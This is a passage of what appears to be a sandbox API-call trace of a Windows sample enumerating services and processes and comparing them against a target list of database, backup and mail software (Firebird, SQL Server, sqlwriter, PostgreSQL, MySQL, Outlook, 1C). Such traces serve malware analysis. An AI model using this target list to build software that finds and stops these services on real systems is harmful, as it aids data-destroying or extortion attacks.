pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4285088, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0164.831] CloseServiceHandle (hSCObject=0x4293dd0) returned 1 [0164.832] lstrlenW (lpString="Appinfo") returned 7 [0164.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0164.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0164.832] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0164.832] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0164.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0164.832] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0164.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0164.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0164.832] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0164.832] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0164.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0164.832] lstrlenW (lpString="AudioSrv") returned 8 [0164.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0164.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0164.832] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0164.832] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0164.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0164.832] lstrlenW (lpString="BFE") returned 3 [0164.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0164.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0164.832] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0164.832] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0164.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0164.832] lstrlenW (lpString="CryptSvc") returned 8 [0164.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0164.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0164.832] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0164.832] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0164.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0164.832] lstrlenW (lpString="CscService") returned 10 [0164.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0164.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0164.833] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0164.833] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0164.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0164.833] lstrlenW (lpString="DcomLaunch") returned 10 [0164.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0164.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0164.833] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0164.833] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0164.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0164.833] lstrlenW (lpString="Dhcp") returned 4 [0164.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0164.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0164.833] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0164.833] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0164.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0164.833] lstrlenW (lpString="Dnscache") returned 8 [0164.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0164.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0164.833] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0164.833] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0164.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0164.833] lstrlenW (lpString="DPS") returned 3 [0164.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0164.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0164.833] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0164.833] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0164.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0164.833] lstrlenW (lpString="eventlog") returned 8 [0164.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0164.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0164.833] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0164.833] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0164.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0164.833] lstrlenW (lpString="EventSystem") returned 11 [0164.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0164.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0164.834] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0164.834] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0164.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0164.834] lstrlenW (lpString="gpsvc") returned 5 [0164.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0164.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0164.834] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0164.834] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0164.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0164.834] lstrlenW (lpString="iphlpsvc") returned 8 [0164.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0164.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0164.834] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0164.834] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0164.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0164.834] lstrlenW (lpString="LanmanServer") returned 12 [0164.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0164.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0164.834] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0164.834] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0164.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0164.834] lstrlenW (lpString="LanmanWorkstation") returned 17 [0164.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0164.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0164.834] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0164.834] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0164.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0164.834] lstrlenW (lpString="lmhosts") returned 7 [0164.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0164.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0164.834] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0164.834] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0164.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0164.834] lstrlenW (lpString="MMCSS") returned 5 [0164.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0164.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0164.835] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0164.835] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0164.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0164.835] lstrlenW (lpString="MpsSvc") returned 6 [0164.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0164.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0164.835] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0164.835] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0164.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0164.835] lstrlenW (lpString="Netman") returned 6 [0164.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0164.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0164.835] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0164.835] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0164.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0164.835] lstrlenW (lpString="netprofm") returned 8 [0164.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0164.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0164.835] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0164.835] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0164.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0164.835] lstrlenW (lpString="NlaSvc") returned 6 [0164.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0164.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0164.835] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0164.835] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0164.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0164.835] lstrlenW (lpString="nsi") returned 3 [0164.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0164.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0164.835] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0164.835] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0164.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0164.835] lstrlenW (lpString="PcaSvc") returned 6 [0164.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0164.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0164.836] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0164.836] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0164.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0164.836] lstrlenW (lpString="PlugPlay") returned 8 [0164.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0164.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0164.836] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0164.836] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0164.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0164.836] lstrlenW (lpString="Power") returned 5 [0164.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0164.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0164.836] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0164.836] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0164.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0164.836] lstrlenW (lpString="ProfSvc") returned 7 [0164.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0164.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0164.836] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0164.836] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0164.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0164.836] lstrlenW (lpString="RpcEptMapper") returned 12 [0164.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0164.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0164.836] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0164.836] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0164.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0164.836] lstrlenW (lpString="RpcSs") returned 5 [0164.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0164.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0164.836] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0164.836] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0164.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0164.836] lstrlenW (lpString="SamSs") returned 5 [0164.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0164.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0164.837] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0164.837] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0164.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0164.837] lstrlenW (lpString="Schedule") returned 8 [0164.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0164.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0164.837] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0164.837] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0164.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0164.837] lstrlenW (lpString="SENS") returned 4 [0164.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0164.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0164.837] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0164.837] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0164.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0164.837] lstrlenW (lpString="ShellHWDetection") returned 16 [0164.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0164.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0164.837] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0164.837] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0164.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0164.837] lstrlenW (lpString="Spooler") returned 7 [0164.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0164.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0164.837] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0164.837] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0164.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0164.837] lstrlenW (lpString="SysMain") returned 7 [0164.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0164.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0164.837] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0164.837] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0164.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0164.837] lstrlenW (lpString="Themes") returned 6 [0164.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0164.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0164.838] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0164.838] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0164.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0164.838] lstrlenW (lpString="TrkWks") returned 6 [0164.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0164.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0164.838] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0164.838] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0164.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0164.838] lstrlenW (lpString="UxSms") returned 5 [0164.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0164.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0164.838] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0164.838] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0164.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0164.838] lstrlenW (lpString="WdiServiceHost") returned 14 [0164.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0164.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0164.838] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0164.838] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0164.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0164.838] lstrlenW (lpString="WdiSystemHost") returned 13 [0164.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0164.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0164.838] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0164.838] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0164.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0164.838] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0164.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0164.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0164.838] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0164.838] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0164.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0164.838] lstrlenW (lpString="Winmgmt") returned 7 [0164.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0164.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0164.839] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0164.839] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0164.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0164.839] lstrlenW (lpString="WPDBusEnum") returned 10 [0164.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0164.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0164.839] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0164.839] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0164.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0164.839] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x4285088 | out: hHeap=0x880000) returned 1 [0164.839] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3d0 [0164.843] Process32FirstW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0164.843] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0164.843] lstrlenW (lpString="System") returned 6 [0164.843] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0164.843] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0164.843] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0164.843] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0164.844] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0164.844] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0164.844] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0164.844] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0164.844] lstrlenW (lpString="smss.exe") returned 8 [0164.844] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0164.844] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0164.844] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0164.844] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0164.844] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0164.844] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0164.844] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0164.844] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0164.844] lstrlenW (lpString="csrss.exe") returned 9 [0164.844] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0164.844] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0164.844] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0164.845] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0164.845] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0164.845] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0164.845] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0164.845] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0164.845] lstrlenW (lpString="wininit.exe") returned 11 [0164.845] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0164.845] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0164.845] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0164.845] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0164.845] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0164.845] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0164.845] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0164.845] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0164.845] lstrlenW (lpString="csrss.exe") returned 9 [0164.845] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0164.845] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0164.845] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0164.846] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0164.846] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0164.846] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0164.846] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0164.846] lstrlenW (lpString="winlogon.exe") returned 12 [0164.846] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0164.846] lstrlenW (lpString="services.exe") returned 12 [0164.846] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, 